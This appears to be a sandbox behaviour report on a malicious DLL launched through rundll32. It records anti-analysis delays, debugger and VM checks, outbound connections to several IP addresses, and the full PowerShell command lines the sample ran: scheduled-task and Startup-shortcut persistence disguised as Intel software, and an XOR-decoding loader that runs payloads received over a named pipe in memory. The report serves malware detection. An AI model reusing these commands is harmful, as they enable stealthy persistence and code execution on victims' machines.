Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1576	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1949	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1081	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2312	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2830	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 1327
Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 1147
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 801
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 450

Source: C:\Windows\System32\rundll32.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll

Jump to dropped file

Source: C:\Windows\System32\loaddll64.exe TID: 3704	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3428	Thread sleep count: 1576 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3428	Thread sleep count: 1949 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5728	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7324	Thread sleep count: 1081 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7368	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep count: 2312 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620	Thread sleep count: 2830 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7660	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3664	Thread sleep count: 35 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7724	Thread sleep count: 801 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7920	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2896	Thread sleep count: 450 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8096	Thread sleep count: 95 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8176	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7648	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7580	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\loaddll64.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\torproject\Arti\data
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\torproject\Arti
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\torproject

Source: powershell.exe, 00000017.00000002.2443328438.000001B4DEAA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y#
Source: powershell.exe, 00000017.00000002.2443328438.000001B4DEAB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:g

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort

Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 84.19.176.161 443
Source: C:\Windows\System32\rundll32.exe	Network Connect: 79.130.19.119 9001
Source: C:\Windows\System32\rundll32.exe	Network Connect: 107.189.8.65 443
Source: C:\Windows\System32\rundll32.exe	Network Connect: 185.196.220.82 9001
Source: C:\Windows\System32\rundll32.exe	Network Connect: 204.8.96.82 443
Source: C:\Windows\System32\rundll32.exe	Network Connect: 104.244.76.24 443
Source: C:\Windows\System32\rundll32.exe	Network Connect: 178.195.212.233 9001
Source: C:\Windows\System32\rundll32.exe	Network Connect: 136.243.3.194 8000

Bypasses PowerShell execution policy

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",#1	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementuser.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management user (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementuser.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management user (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "Write-Host 'Dummy process started. Press Ctrl+C to exit.'; while ($true) { try { Start-Sleep -Seconds 1 } catch { Write-Host 'Close signal received. Exiting...'; break } }"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"GLSXQXRVFAHVDEQYPRSDVGLAEEFHUSGJKSWIUJCYTRNPAMDOUHMAIYAEEBPXFFTUYFACQTGLCVYRNSSHYWFWFOKLAJSVUCDOKGIGITRSISPPMSNOBNSJHLJGXIPDNLBS\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 21504;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"LXUACJGCHJQDEYDGSNQXYJQGFJMGQKRJPWRHKFILVEKMQAQLQIGQRGMOGMXGBBDBLKMWPJKULMBQPXWHUFCXYTKCBESBUWOKFPHBSEPSYYAUBJXTYXPNJDXVBPCECGSP\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 18944;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"MKVJMXBCRWWOUVEMTDUWQIHXBQGAJWWVNHRKQRRWQFJJKQLQDUAMSCSMTRQMPIGQMRUXJCBJAWINPSYTEBWUSBXLEFTCFYAERPGJYGUJVRKAINIJYABRUTKDFRYTLNAF\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 3887104;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -noprofile -executionpolicy bypass -command $wscriptshell = new-object -comobject wscript.shell $shortcut = $wscriptshell.createshortcut('c:\users\user\appdata\roaming/microsoft/windows/start menu/programs/startup/intelmanagementuser.lnk') $shortcut.targetpath = 'powershell.exe' $shortcut.description = 'the intel management user (me) is an embedded microcontroller running on a dedicated microprocessor integrated into intel chipsets.' $shortcut.arguments = '-noprofile -executionpolicy bypass -command c:\windows\system32\rundll32.exe "c:\users\user\appdata\roaming/intelmanagementunit/mainer.dll",dllmaineruseronly' $shortcut.windowstyle = 7 $shortcut.save()
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -noprofile -executionpolicy bypass -command $wscriptshell = new-object -comobject wscript.shell $shortcut = $wscriptshell.createshortcut('c:\users\user\appdata\roaming/microsoft/windows/start menu/programs/startup/intelmanagementuser.lnk') $shortcut.targetpath = 'powershell.exe' $shortcut.description = 'the intel management user (me) is an embedded microcontroller running on a dedicated microprocessor integrated into intel chipsets.' $shortcut.arguments = '-noprofile -executionpolicy bypass -command c:\windows\system32\rundll32.exe "c:\users\user\appdata\roaming/intelmanagementunit/mainer.dll",dllmaineruseronly' $shortcut.windowstyle = 7 $shortcut.save()
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -executionpolicy bypass -command "function load-assembly($asmbytes) { # xor the assembly byte array $xorkey = 164 [byte[]] $decodedbytes = new-object byte[] $asmbytes.length for ($i = 0; $i -lt $asmbytes.length; $i++) { $decodedbytes[$i] = $asmbytes[$i] -bxor $xorkey } # load the assembly from the modified byte array $assembly = [system.reflection.assembly]::load($decodedbytes) # search for a program class and a main method to invoke $programtype = $assembly.gettype(\"program\", $false) if ($programtype -ne $null) { $mainmethod = $programtype.getmethod(\"main\", [system.reflection.bindingflags] \"static,public,nonpublic\") if ($mainmethod -ne $null -and $mainmethod.getparameters().length -eq 1 -and $mainmethod.getparameters()[0].parametertype -eq [string[]]) { $arguments = [system.string[]]@(\"--powershell\") $mainmethod.invoke($null, [system.object[]]@(,$arguments)) } else { #throw \"no entry point found.\"; } } else { #throw \"program class not found.\"; } } $a = [system.reflection.assembly]::loadfrom(\"c:\users\user\appdata\roaming\intelmanagementunit\fsharp.core.all.dll\"); $in_pipe = new-object system.io.pipes.namedpipeclientstream(\"glsxqxrvfahvdeqyprsdvglaeefhusgjkswiujcytrnpamdouhmaiyaeebpxfftuyfacqtglcvyrnsshywfwfoklajsvucdokgigitrsisppmsnobnsjhljgxipdnlbs\"); $in_pipe.connect(); # get the current process id $processid = [system.diagnostics.process]::getcurrentprocess().id # convert the process id to byte array $bytes = [system.bitconverter]::getbytes($processid) # assuming $in_pipe is a system.io.pipes.pipestream or similar # you would write the byte array to it like this: $in_pipe.write($bytes, 0, $bytes.length) $in_pipe.flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;$buffer = new-object byte[] 21504;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -executionpolicy bypass -command "function load-assembly($asmbytes) { # xor the assembly byte array $xorkey = 164 [byte[]] $decodedbytes = new-object byte[] $asmbytes.length for ($i = 0; $i -lt $asmbytes.length; $i++) { $decodedbytes[$i] = $asmbytes[$i] -bxor $xorkey } # load the assembly from the modified byte array $assembly = [system.reflection.assembly]::load($decodedbytes) # search for a program class and a main method to invoke $programtype = $assembly.gettype(\"program\", $false) if ($programtype -ne $null) { $mainmethod = $programtype.getmethod(\"main\", [system.reflection.bindingflags] \"static,public,nonpublic\") if ($mainmethod -ne $null -and $mainmethod.getparameters().length -eq 1 -and $mainmethod.getparameters()[0].parametertype -eq [string[]]) { $arguments = [system.string[]]@(\"--powershell\") $mainmethod.invoke($null, [system.object[]]@(,$arguments)) } else { #throw \"no entry point found.\"; } } else { #throw \"program class not found.\"; } } $a = [system.reflection.assembly]::loadfrom(\"c:\users\user\appdata\roaming\intelmanagementunit\fsharp.core.all.dll\"); $in_pipe = new-object system.io.pipes.namedpipeclientstream(\"lxuacjgchjqdeydgsnqxyjqgfjmgqkrjpwrhkfilvekmqaqlqigqrgmogmxgbbdblkmwpjkulmbqpxwhufcxytkcbesbuwokfphbsepsyyaubjxtyxpnjdxvbpcecgsp\"); $in_pipe.connect(); # get the current process id $processid = [system.diagnostics.process]::getcurrentprocess().id # convert the process id to byte array $bytes = [system.bitconverter]::getbytes($processid) # assuming $in_pipe is a system.io.pipes.pipestream or similar # you would write the byte array to it like this: $in_pipe.write($bytes, 0, $bytes.length) $in_pipe.flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;$buffer = new-object byte[] 18944;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -executionpolicy bypass -command "function load-assembly($asmbytes) { # xor the assembly byte array $xorkey = 164 [byte[]] $decodedbytes = new-object byte[] $asmbytes.length for ($i = 0; $i -lt $asmbytes.length; $i++) { $decodedbytes[$i] = $asmbytes[$i] -bxor $xorkey } # load the assembly from the modified byte array $assembly = [system.reflection.assembly]::load($decodedbytes) # search for a program class and a main method to invoke $programtype = $assembly.gettype(\"program\", $false) if ($programtype -ne $null) { $mainmethod = $programtype.getmethod(\"main\", [system.reflection.bindingflags] \"static,public,nonpublic\") if ($mainmethod -ne $null -and $mainmethod.getparameters().length -eq 1 -and $mainmethod.getparameters()[0].parametertype -eq [string[]]) { $arguments = [system.string[]]@(\"--powershell\") $mainmethod.invoke($null, [system.object[]]@(,$arguments)) } else { #throw \"no entry point found.\"; } } else { #throw \"program class not found.\"; } } $a = [system.reflection.assembly]::loadfrom(\"c:\users\user\appdata\roaming\intelmanagementunit\fsharp.core.all.dll\"); $in_pipe = new-object system.io.pipes.namedpipeclientstream(\"mkvjmxbcrwwouvemtduwqihxbqgajwwvnhrkqrrwqfjjkqlqduamscsmtrqmpigqmruxjcbjawinpsytebwusbxleftcfyaerpgjygujvrkainijyabrutkdfrytlnaf\"); $in_pipe.connect(); # get the current process id $processid = [system.diagnostics.process]::getcurrentprocess().id # convert the process id to byte array $bytes = [system.bitconverter]::getbytes($processid) # assuming $in_pipe is a system.io.pipes.pipestream or similar # you would write the byte array to it like this: $in_pipe.write($bytes, 0, $bytes.length) $in_pipe.flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;$buffer = new-object byte[] 3887104;$rrrr=$in_pipe.read($buffer, 0, $buffer.length);$aaaa=load-assembly($buffer);;;;"
